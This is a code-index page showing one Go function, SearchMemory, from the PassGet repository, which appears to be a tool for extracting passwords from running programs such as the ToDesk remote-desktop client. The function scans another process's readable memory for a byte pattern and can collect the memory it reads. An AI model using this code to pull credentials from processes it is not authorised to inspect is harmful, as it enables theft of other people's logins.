MCPcopy Create free account
hub / github.com/adeljck/PassGet / SearchMemory

Function SearchMemory

modules/utils/remote/remote.go:29–62  ·  view source on GitHub ↗
(handle windows.Handle, pattern []byte, todesk bool)

Source from the content-addressed store, hash-verified

27 return buffer, nil
28}
29func SearchMemory(handle windows.Handle, pattern []byte, todesk bool) ([]uintptr, []byte, error) {
30 var results []uintptr
31 var memoryInfo windows.MemoryBasicInformation
32 var datas []byte
33 if todesk {
34 datas = make([]byte, 0)
35 }
36 address := uintptr(0)
37 for {
38 err := windows.VirtualQueryEx(handle, address, &memoryInfo, unsafe.Sizeof(memoryInfo))
39 if err != nil || memoryInfo.RegionSize == 0 {
40 break
41 }
42
43 if memoryInfo.State == windows.MEM_COMMIT && (memoryInfo.Protect&windows.PAGE_READWRITE) != 0 {
44 data, err := ReadMemory(handle, memoryInfo.BaseAddress, uint32(memoryInfo.RegionSize))
45 if err == nil {
46 if todesk {
47 datas = append(datas, data...)
48 }
49 for i := 0; i < len(data)-len(pattern); i++ {
50 if MatchPattern(data[i:i+len(pattern)], pattern) {
51 results = append(results, memoryInfo.BaseAddress+uintptr(i))
52 }
53 }
54 }
55 }
56 address = memoryInfo.BaseAddress + uintptr(memoryInfo.RegionSize)
57 }
58 if todesk {
59 return results, datas, nil
60 }
61 return results, nil, nil
62}
63func MatchPattern(data, pattern []byte) bool {
64 for i := range pattern {
65 if data[i] != pattern[i] {

Callers 2

GetFromProcessMethod · 0.92
GetFromProcessMethod · 0.92

Calls 2

ReadMemoryFunction · 0.85
MatchPatternFunction · 0.85

Tested by

no test coverage detected